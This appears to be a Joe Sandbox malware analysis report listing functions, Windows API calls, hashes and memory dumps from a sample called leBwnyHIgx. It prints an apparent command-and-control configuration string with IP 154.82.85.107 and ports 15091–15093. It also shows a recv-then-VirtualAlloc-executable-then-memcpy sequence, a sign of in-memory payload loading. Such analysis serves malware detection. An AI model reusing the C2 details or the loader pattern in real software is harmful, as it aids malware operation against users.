Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 46fa6bf7c39c9205b4f2e33c71be27e1bd0f5d6462176cf82db7d2d05287f296
Instruction ID: 872fb0b1150bba30eaf2acd4e0c3a99a1078ee24a947000b27c0355be161ab5f
Opcode Fuzzy Hash: 46fa6bf7c39c9205b4f2e33c71be27e1bd0f5d6462176cf82db7d2d05287f296
Instruction Fuzzy Hash: 81F02770A14744BFDB119F768C6286FBBECE70DB0079348BAF900E2A91EA3C4810C568

Function 0307E480 Relevance: 3.0, APIs: 2, Instructions: 21synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 0307E49B
WaitForSingleObject.KERNEL32(00000000,000000FF,?,03081168,?,?,?,?,?,?,03096298,0000000C,03081210,?), ref: 0307E4A9

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: 7a1919bda59554dd7c41b6dc9157994956e2cdaaf3467fbddabcfac3bc11e734
Instruction ID: 8dd81496169c418f36b890f93a33490c68b384987cefbf33c9e58eb6a9700b45
Opcode Fuzzy Hash: 7a1919bda59554dd7c41b6dc9157994956e2cdaaf3467fbddabcfac3bc11e734
Instruction Fuzzy Hash: 13E012B084660DBFDB14EB58EC84E3673DCE714330B104667B920D6248D539D860C7A4

Function 02717175 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02717181

Part of subcall function 0271990F: __getptd_noexit.LIBCMT ref: 02719912
Part of subcall function 0271990F: __amsg_exit.LIBCMT ref: 0271991F

Part of subcall function 02717156: __getptd_noexit.LIBCMT ref: 0271715B
Part of subcall function 02717156: __freeptd.LIBCMT ref: 02717165
Part of subcall function 02717156: ExitThread.KERNEL32 ref: 0271716E

__XcptFilter.LIBCMT ref: 027171A2

Part of subcall function 02719C41: __getptd_noexit.LIBCMT ref: 02719C47

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: 4f9a4f44e2bda25c9b9b8cc9a8d41fd2eace26c8fe9e34d96c0ba833193d8b12
Instruction ID: 77924cce29cc9be055ac4a5ca98a50e1b61d6e23b64a771458c19fb91120bc26
Opcode Fuzzy Hash: 4f9a4f44e2bda25c9b9b8cc9a8d41fd2eace26c8fe9e34d96c0ba833193d8b12
Instruction Fuzzy Hash: 4EE012B1A01604EFE70DFBB4C959E6D7B76EF45701F200048E2025B2B5CB75A941EF24

Function 0307F983 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0307F98F

Part of subcall function 03083E5B: __getptd_noexit.LIBCMT ref: 03083E5E
Part of subcall function 03083E5B: __amsg_exit.LIBCMT ref: 03083E6B

Part of subcall function 0307F964: __getptd_noexit.LIBCMT ref: 0307F969
Part of subcall function 0307F964: __freeptd.LIBCMT ref: 0307F973
Part of subcall function 0307F964: ExitThread.KERNEL32 ref: 0307F97C

__XcptFilter.LIBCMT ref: 0307F9B0

Part of subcall function 0308418F: __getptd_noexit.LIBCMT ref: 03084195

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: 823e994e5f303c09bb66f931ea69dfa6aa028a01ab5270af8180a0a35c3df1a8
Instruction ID: ca5b7758c1f647f1ff017c22e5d8b138feb43beee7f69a9df289cb6fce45e2cf
Opcode Fuzzy Hash: 823e994e5f303c09bb66f931ea69dfa6aa028a01ab5270af8180a0a35c3df1a8
Instruction Fuzzy Hash: 91E0C2B8902701EFEB08FBA0C804FBD3734EF84B01F200188E0416F2A0CB399800DB20

Function 03086403 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0308641B

Part of subcall function 03088E5B: __mtinitlocknum.LIBCMT ref: 03088E71
Part of subcall function 03088E5B: __amsg_exit.LIBCMT ref: 03088E7D
Part of subcall function 03088E5B: EnterCriticalSection.KERNEL32(00000000,00000000,?,03083F06,0000000D,03096340,00000008,03083FFF,00000000,?,030810F0,00000000,03096278,00000008,03081155,?), ref: 03088E85

__tzset_nolock.LIBCMT ref: 0308642C

Part of subcall function 03085D22: __lock.LIBCMT ref: 03085D44
Part of subcall function 03085D22: ____lc_codepage_func.LIBCMT ref: 03085D8B
Part of subcall function 03085D22: __getenv_helper_nolock.LIBCMT ref: 03085DAD
Part of subcall function 03085D22: _free.LIBCMT ref: 03085DE4
Part of subcall function 03085D22: _strlen.LIBCMT ref: 03085DEB
Part of subcall function 03085D22: __malloc_crt.LIBCMT ref: 03085DF2
Part of subcall function 03085D22: _strlen.LIBCMT ref: 03085E08
Part of subcall function 03085D22: _strcpy_s.LIBCMT ref: 03085E16
Part of subcall function 03085D22: __invoke_watson.LIBCMT ref: 03085E2B
Part of subcall function 03085D22: _free.LIBCMT ref: 03085E3A

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: __lock_free_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__invoke_watson__malloc_crt__mtinitlocknum__tzset_nolock_strcpy_s
String ID:
API String ID: 1828324828-0
Opcode ID: 99c161eb83082b00752dae50368d9cbf44e9acfcb0865e8d0421cfb2ca57b4ab
Instruction ID: 5bc23b6c7dcf41ae3adcb4948c414e0683c0e9182947d7b19f839cec89b79f4e
Opcode Fuzzy Hash: 99c161eb83082b00752dae50368d9cbf44e9acfcb0865e8d0421cfb2ca57b4ab
Instruction Fuzzy Hash: 9EE0C238843F1CD7CA62FBE0B602B8CB2606BD4F35F90524AE2D019580DA320101C65A

Function 0271474C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 12stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(|p1:154.82.85.107|o1:15091|t1:1|p2:154.82.85.107|o2:15092|t2:1|p3:154.82.85.107|o3:15093|t3:1|dd:1|cl:1|fz:), ref: 02714755

Part of subcall function 02713260: __wcsrev.LIBCMT ref: 02730655

Strings

|p1:154.82.85.107|o1:15091|t1:1|p2:154.82.85.107|o2:15092|t2:1|p3:154.82.85.107|o3:15093|t3:1|dd:1|cl:1|fz:, xrefs: 02714750

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: __wcsrevlstrlen
String ID: |p1:154.82.85.107|o1:15091|t1:1|p2:154.82.85.107|o2:15092|t2:1|p3:154.82.85.107|o3:15093|t3:1|dd:1|cl:1|fz:
API String ID: 4062721203-3795792448
Opcode ID: d6c033a673b827f6a7e421625018f1285881f820c0946cf6e5e66775bc11a966
Instruction ID: 2875aa315f7dda29864fea3195058788f1eabd6bd939b139290c35ef41e64e11
Opcode Fuzzy Hash: d6c033a673b827f6a7e421625018f1285881f820c0946cf6e5e66775bc11a966
Instruction Fuzzy Hash: 20C08CB2288218CFF71232E89408B2D3334FB23B11F608421EA01C5442D5718C1487B2

Function 03076EBC Relevance: 3.0, APIs: 2, Instructions: 8registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(80000001,03076E9A), ref: 03076EC9
RegCloseKey.ADVAPI32(75BF73E0), ref: 03076ED2

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 7f9a76991742b2af3ac3c04b3d94e7a48e776e7815799e7cf04d1aa95e3e8264
Instruction ID: 6a1acad1f1a29fadbc880da9f2901e5f441fba8e87a601ea162396c6442f0ed0
Opcode Fuzzy Hash: 7f9a76991742b2af3ac3c04b3d94e7a48e776e7815799e7cf04d1aa95e3e8264
Instruction Fuzzy Hash: 7BC04C72D01028A7CA10E7A4ED4894977B86B8C110F1144C2A104A3118C634AD418F90

Function 10015679 Relevance: 2.5, APIs: 2, Instructions: 23memorynetworkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000280,-0F743538,-0FFFC690,00000000), ref: 1001561B
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(008D9158,00020000), ref: 10015661
VirtualAlloc.KERNEL32(00000000,0001C9DB,00003000,00000040), ref: 100156C7
memcpy.VCRUNTIME140(?,008D9158,0001C9DB), ref: 100156E2

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: AllocVirtualmemcpyreallocrecv
String ID:
API String ID: 56598225-0
Opcode ID: 597c2f7fad0ceaf05d2332f96e8811aaaee1c623b4efeab370f415f2064ae4c8
Instruction ID: 7a1c98bb85b264afdee6a04eef0c8c301afcb8b3c560be997619920f4651cfe9
Opcode Fuzzy Hash: 597c2f7fad0ceaf05d2332f96e8811aaaee1c623b4efeab370f415f2064ae4c8
Instruction Fuzzy Hash: F9E01AB1A40109AFE740CBE4CC85F2A77B8EB0C301F148109FA0CEB2A0D631DA508BA2

Function 0040E4B8 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000000,00010000,?,00001000), ref: 0040E4FD

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 8f13a3bbcb92e65e3f2aea17991442021eb2561ecef5d5fcc5ebd3e194779de1
Instruction ID: a47970919856236c0168dc23f1bd1acf46059580e87ddf9fa247c61dd49d6e22
Opcode Fuzzy Hash: 8f13a3bbcb92e65e3f2aea17991442021eb2561ecef5d5fcc5ebd3e194779de1
Instruction Fuzzy Hash: 84F096B1700200ABDB10DA5ECCC5B5732CC9B58349F048876B508EB396EA38DC1487AA

Function 10012F10 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 10012C90: ?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(100053B9,?,10012F2A,?,100053B9), ref: 10012C9A
Part of subcall function 10012C90: ?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(CCC35DE5,CCC35DE5,8B55CCCC,?,10012F2A,?,100053B9), ref: 10012CC2

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(0175FE68,?,100053B9), ref: 10012F4D

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?eback@?$basic_streambuf@?setg@?$basic_streambuf@D00@fclose
String ID:
API String ID: 2996004546-0
Opcode ID: 709d4a9117c949bef376609371d5c1e3fdd0bce17311b82dc2022546a51ab83c
Instruction ID: a9d9b0767c6718a53788ed456b677ecfb587c67211e8534dc0a09bbe97dd6693
Opcode Fuzzy Hash: 709d4a9117c949bef376609371d5c1e3fdd0bce17311b82dc2022546a51ab83c
Instruction Fuzzy Hash: C001C9B4A04209EBDB04DF94D996B9DBBB5EF40704F2080A8E9016F391DB71EF95DB81

Function 0040B920 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00400000,?,0000020A), ref: 0040B93E

Part of subcall function 0040CBAC: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040CC66,?,00400000,0065DC28), ref: 0040CBE8
Part of subcall function 0040CBAC: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040CC66,?,00400000,0065DC28), ref: 0040CC39

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: 92830e843a0290b8fb819179a769738ed0c8430f51dc52ce8e13e1d58c902946
Instruction ID: b028abd3538c11208bb69536d004979ed80801884fb39c7b18fc8ecc13332f26
Opcode Fuzzy Hash: 92830e843a0290b8fb819179a769738ed0c8430f51dc52ce8e13e1d58c902946
Instruction Fuzzy Hash: DDE0EDB1A403109BCB10DF58C8C5A473BE8AB08754F044A66ED68DF386D375DD1087D5

Function 0271608A Relevance: 1.5, APIs: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32 ref: 027160A0

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: c75868d4a3e6626dc216ddd18a54ca7b7a4557e3fac66c41a904d5f98f9b8806
Instruction ID: 3dd3dc386c6db90f563675017eed44103210d726a05c7c237282a7aa23cf19ad
Opcode Fuzzy Hash: c75868d4a3e6626dc216ddd18a54ca7b7a4557e3fac66c41a904d5f98f9b8806
Instruction Fuzzy Hash: 3FE0D874D08225EACB24CB54D584BFD73B5BF50704F608145D00637484D3786B0CCBD2

Function 10012400 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 10012F10: fclose.API-MS-WIN-CRT-STDIO-L1-1-0(0175FE68,?,100053B9), ref: 10012F4D

?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,10005395), ref: 1001242D

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ?setstate@?$basic_ios@D@std@@@std@@U?$char_traits@fclose
String ID:
API String ID: 2040537880-0
Opcode ID: 93dd7eb5169e86885b55c767c8327cd94ed4ae90235ab5dc8049e23af4a0f4b1
Instruction ID: b5d0b15e863f3ba68657ea4ca4a108191cbcefbbccc9c59a0a057f78330705e7
Opcode Fuzzy Hash: 93dd7eb5169e86885b55c767c8327cd94ed4ae90235ab5dc8049e23af4a0f4b1
Instruction Fuzzy Hash: 1FE01A74A00208EFDB08DB94C981B6CBBB5EF85305F6081A8D9066B381D631AE22DB84

Function 02715E07 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32 ref: 0272F0F9

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: bc9ecc6ca19783af6d6fbb40ca28845bcba02b8ce6e2273daa9cad6eb9c5806e
Instruction ID: e6b688fce386662eef00040f6041382866d4b7c838bae812b7aa74dfc8be8b75
Opcode Fuzzy Hash: bc9ecc6ca19783af6d6fbb40ca28845bcba02b8ce6e2273daa9cad6eb9c5806e
Instruction Fuzzy Hash: 84C08C20C8C7BDE2822058181C0A17DB2F44B05211F1005A3E80B35C80E4A93688CAEB

Function 10005520 Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(1000A58A,?,1000A58A,00000000,?,?,?,0000005C,?), ref: 10005527

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 3d5163279ec740a988f09b9f2e08219c395a46ee1d8e65d4cb22b1e97629421d
Instruction ID: f2f8e3d453fe78865ccc53f7e24a17e21a0dec87b166a9a16b5ac37ce018f2ca
Opcode Fuzzy Hash: 3d5163279ec740a988f09b9f2e08219c395a46ee1d8e65d4cb22b1e97629421d
Instruction Fuzzy Hash: 5BC02B7520471C57AF808EE4BC448CB33ECD7095C33004000FE0CCB100C532E7019B60

Function 02714274 Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 02730693

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: da21fe9d96320cf91e7721b90f7483afcb0a319c9e4ecf3c11d3c7986d5dbfdd
Instruction ID: 200bb22f749c4f926125f24a398a0d496fe3fdf0cd894fcaee075e241aa98633
Opcode Fuzzy Hash: da21fe9d96320cf91e7721b90f7483afcb0a319c9e4ecf3c11d3c7986d5dbfdd
Instruction Fuzzy Hash: EAC048A4B8D224E9F63951682D17B2659203B86B25F608722F7237D8D788A00088D563

Function 027160DF Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0272FAB1

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 73d9b97297f7a4ddd935d8e5a33710043e457d514a00fbfca2d048d5973f3050
Instruction ID: 039eeac030d10da204218e3ff0b6c004b39d21246c70e942c4047761443042bf
Opcode Fuzzy Hash: 73d9b97297f7a4ddd935d8e5a33710043e457d514a00fbfca2d048d5973f3050
Instruction Fuzzy Hash: 8DD012B4104520C7D314EB64C58860EB2F2BF44300F60C915C51A92E10C638E849CAA7

Function 0042866F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042868D), ref: 00428680

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 66a180434acd903a05dc67d5e34fa237f32a14c00a9ee3962d59800cd762fd6b
Instruction ID: 696cc173350d5948746636284ada699740c3da0e40302307c28099bcb0f56c81
